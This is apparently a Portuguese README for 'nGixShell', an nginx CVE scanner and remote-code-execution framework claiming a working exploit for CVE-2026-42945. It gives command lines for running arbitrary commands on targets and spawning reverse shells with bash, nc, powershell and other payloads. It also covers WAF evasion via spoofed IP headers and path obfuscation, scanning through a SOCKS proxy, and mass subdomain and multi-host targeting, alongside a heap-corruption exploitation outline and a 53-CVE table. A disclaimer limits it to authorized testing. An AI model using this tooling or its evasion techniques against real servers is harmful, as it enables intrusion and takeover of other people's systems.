
scanner de CVE nginx + framework de exploração RCE (CVE-2026-42945 + mais 16)
nGixShell é um scanner de CVEs do nginx e um framework de exploração RCE. Ele inclui uma prova de conceito funcional para CVE-2026-42945 — um estouro de buffer crítico no heap em ngx_http_rewrite_module — e um scanner que abrange 53 CVEs do nginx com sondas HTTP automatizadas, fingerprinting, detecção/contorno de WAF, auditoria de segurança web e geração de relatórios.
Zero dependências externas. Apenas a stdlib do Python 3.
# Spin up the vulnerable lab
docker compose -f env/docker-compose.yml up -d
# Auto mode — fingerprint + CVE scan + web audit
python3 ngixshell.py 127.0.0.1:19321
# Execute a command via RCE (CVE-2026-42945)
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id'
# Drop a reverse shell (IP auto-detected)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell
# Detect and bypass WAF, then scan
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass
# Subdomain scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443
# Multiple targets from a file
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
Nenhuma flag necessária — apontar a ferramenta para um alvo executa tudo automaticamente.
TLS é detectado automaticamente. O nginx é identificado mesmo com server_tokens off.
python3 ngixshell.py [TARGET] [OPÇÕES]
Formatos de TARGET:
127.0.0.1
192.168.1.10:8080
http://192.168.1.10:8080
https://target.local
| Flag | Descrição |
|---|---|
--waf-detect | Detectar WAF antes de escanear |
--waf-bypass | Ativar todas as técnicas de contorno (também executa detecção) |
--waf-ip IP | Falsificar este IP nos cabeçalhos de contorno (padrão: RFC1918 aleatório) |
Técnicas de contorno (todas ativas quando --waf-bypass está definido):
WAFs detectados: Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence
Executada automaticamente no modo de scan. Todos os módulos podem ser ignorados individualmente.
/nginx_status se exposto| Flag | Descrição |
|---|---|
--port PORTA | Sobrescrever porta |
--tls |
| Flag | Descrição |
|---|---|
--user-agent UA | User-Agent personalizado |
--auth USUÁRIO:SENHA | Autenticação básica HTTP |
| Flag | Descrição |
|---|---|
--rate-limit RPS | Máximo de requisições por segundo |
--jitter MS |
| Flag | Descrição |
|---|---|
53 entradas abrangendo 2009–2026. Ordenadas por CVSS.
O motor de script de rewrite do nginx usa um modelo de duas passagens: calcular o tamanho do buffer, depois copiar. A flag is_args é definida no motor principal quando uma substituição de rewrite contém ?, mas a passagem de cálculo de comprimento executa em um sub-motor recém-zerado:
is_args = 0 → retorna o comprimento bruto da capturais_args = 1 → chama ngx_escape_uri(NGX_ESCAPE_ARGS), expandindo cada byte inseguro para 3 bytesA cópia estoura o buffer de heap subdimensionado com dados de URI controlados pelo atacante. A exploração corrompe um ponteiro de limpeza ngx_pool_t adjacente via heap feng shui entre requisições, redirecionando-o para um ngx_pool_cleanup_s falso que chama system() na destruição do pool.
| Produto | Vulnerável | Corrigido |
|---|---|---|
| NGINX Open Source | 0.6.27 – 1.30.0 | 1.31.0, 1.30.1 |
| NGINX Plus | R32 – R36 | R36 P4, R35 P2, R32 P6 |
Advisory do fornecedor: https://my.f5.com/manage/s/article/K000160932
Testado no Ubuntu 24.04 LTS. Requer Docker e Python 3.8+.
# Iniciar o laboratório vulnerável (nginx 1.25.3)
docker compose -f env/docker-compose.yml up -d
# Varredura completa
python3 ngixshell.py 127.0.0.1:19321
# RCE com saída JSON
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id' --json
# Reverse shell — payload bash, upgrade automático de PTY
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell
# Varredura com contorno de WAF e IP falsificado
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass --waf-ip 10.10.10.1
# Através de proxy SOCKS5
python3 ngixshell.py 192.168.1.10 --proxy socks5://127.0.0.1:9050
# Varredura de subdomínios com limitação de taxa
python3 ngixshell.py --subdomain-scan example.com --scan-port 443 --rate-limit 10
# Múltiplos alvos, saída JSON, relatório HTML
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
Apenas para testes autorizados de segurança, competições CTF e pesquisa.
| Flag | Descrição |
|---|
| (nenhuma) | Auto — fingerprint + scan CVE + auditoria web |
--cmd 'COMANDO' | Executar comando via CVE-2026-42945 RCE |
--cmd-file ARQUIVO | Executar comandos de um arquivo (unidos com ;) |
--shell | Obter uma reverse shell |
--shell-type TIPO | Payload: bash python perl php nc powershell (padrão: python) |
--upgrade-shell | Enviar upgrade de PTY automaticamente após a shell conectar |
--subdomain-scan DOMÍNIO | Encontrar nginx vulnerável em subdomínios |
--cve ID-CVE | Testar uma CVE específica |
--list-cves | Exibir todas as 53 CVEs com CVSS e informações de sonda |
--list-candidates | Exibir candidatos de endereço de heap |
--dry-run | Apenas fingerprint + scan, sem exploração |
--target-file ARQUIVO | Escanear múltiplos hosts a partir de um arquivo |
| Técnica | Detalhe |
|---|
| Falsificação de IP | X-Forwarded-For, X-Real-IP, X-Originating-IP, True-Client-IP, X-Remote-IP, X-Client-IP |
| Rotação de UA | 11 User-Agents reais de navegadores/bots, aleatorizados por requisição |
| Ofuscação de caminho | barra dupla, padding com /./, codificação percentual, variação de maiúsculas/minúsculas |
| Embaralhamento de case de cabeçalho | aleatoriza a capitalização dos nomes de cabeçalho para quebrar a correspondência de padrões do WAF |
| Flag | Descrição |
|---|
--skip-headers | Pular auditoria de cabeçalhos de segurança HTTP |
--skip-paths | Pular descoberta de caminhos/arquivos |
--skip-vhosts | Pular enumeração de virtual hosts |
--skip-tls | Pular auditoria de protocolo TLS |
--path-wordlist ARQUIVO | Caminhos extras para sondar (um por linha) |
| Forçar TLS (detectado automaticamente por padrão) |
--proxy URL | Proxy: http://, https://, socks5:// |
--cookie VALOR |
| Cabeçalho Cookie |
--header NOME:VALOR | Cabeçalho extra (repetível) |
| Atraso aleatório de 0–MS ms entre requisições |
--retry N | Repetir sondas inconclusivas (padrão: 1) |
--timeout-multiplier X | Escalar todos os timeouts (padrão: 1.0) |
--output ARQUIVO| Escrever log no ARQUIVO |
--json | Exibir resumo em JSON ao final |
--html-report [ARQUIVO] | Gerar relatório HTML (padrão: ngixshell_<host>_<ts>.html) |
--verbose | Saída de depuração |
| CVE | CVSS | Componente | Descrição |
|---|
| CVE-2026-42945 | 9.8 CRÍTICO | rewrite | Estouro de heap → RCE (explorado) |
| CVE-2026-42946 | 8.1 ALTO | rewrite | Corrupção de memória (mesmo advisory) |
| CVE-2022-41741 | 7.8 ALTO | mp4 | Corrupção de memória via mp4 malicioso |
| CVE-2016-1247 | 7.8 ALTO | packaging | Escalação de privilégio via link simbólico em arquivo de log |
| CVE-2021-23017 | 7.7 ALTO | resolver | Sobrescrita de heap off-by-one |
| CVE-2026-40701 | 7.5 ALTO | request | Corrupção de memória no processamento de requisições |
| CVE-2026-42934 | 7.5 ALTO | request | Corrupção de memória (mesmo advisory) |
| CVE-2026-27784 | 7.5 ALTO | mp4 | Estouro de buffer via mp4 manipulado |
| CVE-2026-32647 | 7.5 ALTO | mp4 | Estouro de buffer (irmão do acima) |
| CVE-2024-24990 | 7.5 ALTO | HTTP/3 | Use-after-free no módulo QUIC |
| CVE-2024-24989 | 7.5 ALTO | HTTP/3 | Desreferência de ponteiro nulo no QUIC |
| CVE-2024-31079 | 7.5 ALTO | HTTP/3 | Estouro de pilha no codificador QUIC |
| CVE-2024-32760 | 7.5 ALTO | HTTP/3 | Sobrescrita de buffer via frame HEADERS |
| CVE-2022-41742 | 7.5 ALTO | mp4 | Divulgação de memória heap |
| CVE-2017-7529 | 7.5 ALTO | range filter | Estouro de inteiro → leitura fora dos limites |
| CVE-2016-0746 | 7.5 ALTO | resolver | Use-after-free via resposta DNS manipulada |
| CVE-2014-0133 | 7.5 ALTO | SPDY | Estouro de heap na implementação SPDY |
| CVE-2014-0088 | 7.5 ALTO | SPDY | Corrupção de memória no SPDY |
| CVE-2013-4547 | 7.5 ALTO | core | Bypass de URI com Space+NUL |
| CVE-2013-2028 | 7.5 ALTO | core | Estouro de pilha em codificação chunked |
| CVE-2012-1180 | 7.5 ALTO | proxy | Use-after-free no módulo proxy |
| CVE-2009-3555 | 7.5 ALTO | SSL | Injeção de renegociação TLS (MITM) |
| CVE-2009-2629 | 7.5 ALTO | core | Underflow de buffer no parsing de URI |
| CVE-2026-42926 | 6.5 MÉDIO | HTTP/2 | Divisão de requisição via proxy |
| CVE-2026-27654 | 6.5 MÉDIO | WebDAV | Estouro de heap no módulo DAV |
| CVE-2026-28753 | 6.5 MÉDIO | Injeção de cabeçalho no proxy de email | |
| CVE-2026-1642 | 6.5 MÉDIO | proxy | Vazamento de reutilização de sessão SSL upstream |
| CVE-2019-9511 | 6.5 MÉDIO | HTTP/2 | Data Dribble DoS de CPU/memória |
| CVE-2012-2089 | 6.8 MÉDIO | mp4 | Estouro de buffer via requisição mp4 |
| CVE-2018-16845 | 5.5 MÉDIO | mp4 | Underflow de inteiro → crash + divulgação |
| CVE-2019-20372 | 5.3 MÉDIO | proxy | Contrabando de requisição HTTP |
| CVE-2026-40460 | 5.3 MÉDIO | HTTP/3 | Falsificação de conexão QUIC |
| CVE-2026-28755 | 5.3 MÉDIO | SSL | Divulgação de memória no processamento OCSP |
| CVE-2025-23419 | 5.3 MÉDIO | SSL | Bypass de certificado na retomada de sessão TLS |
| CVE-2024-35200 | 5.3 MÉDIO | HTTP/3 | Desreferência de ponteiro nulo |
| CVE-2024-34161 | 5.3 MÉDIO | HTTP/3 | Divulgação de memória |
| CVE-2016-4450 | 5.3 MÉDIO | core | Ponteiro nulo via corpo de requisição chunked |
| CVE-2016-0742 | 5.0 MÉDIO | resolver | Ponteiro inválido via pacote UDP manipulado |
| CVE-2016-0747 | 5.0 MÉDIO | resolver | Limite insuficiente de resolução CNAME |
| CVE-2014-3556 | 5.0 MÉDIO | Injeção de comando STARTTLS | |
| CVE-2013-2070 | 5.3 MÉDIO | proxy | Divulgação de resposta do backend |
| CVE-2011-4963 | 5.0 MÉDIO | access | Bypass de controle de acesso via literal IPv6 |
| CVE-2011-4315 | 5.0 MÉDIO | resolver | Estouro de heap via resposta DNS manipulada |
| CVE-2009-3896 | 5.0 MÉDIO | core | DoS por desreferência de ponteiro nulo |
| CVE-2025-53859 | 4.3 MÉDIO | Injeção de comando SMTP | |
| CVE-2014-3616 | 4.3 MÉDIO | SSL | Confusão de host virtual via SNI TLS |
| CVE-2026-27651 | 4.3 MÉDIO | Desreferência de ponteiro nulo no proxy de email | |
| CVE-2019-9513 | 4.3 MÉDIO | HTTP/2 | Resource Loop DoS de CPU |
| CVE-2019-9516 | 4.3 MÉDIO | HTTP/2 | Exaustão de memória via cabeçalhos de tamanho 0 |
| CVE-2018-16843 | 4.3 MÉDIO | HTTP/2 | Consumo excessivo de memória |
| CVE-2018-16844 | 4.3 MÉDIO | HTTP/2 | CPU excessivo via frames SETTINGS |
| CVE-2024-7347 | 4.7 MÉDIO | mp4 | Leitura fora dos limites |
| CVE-2009-3898 | 4.9 MÉDIO | WebDAV | Travessia de diretório via COPY/MOVE |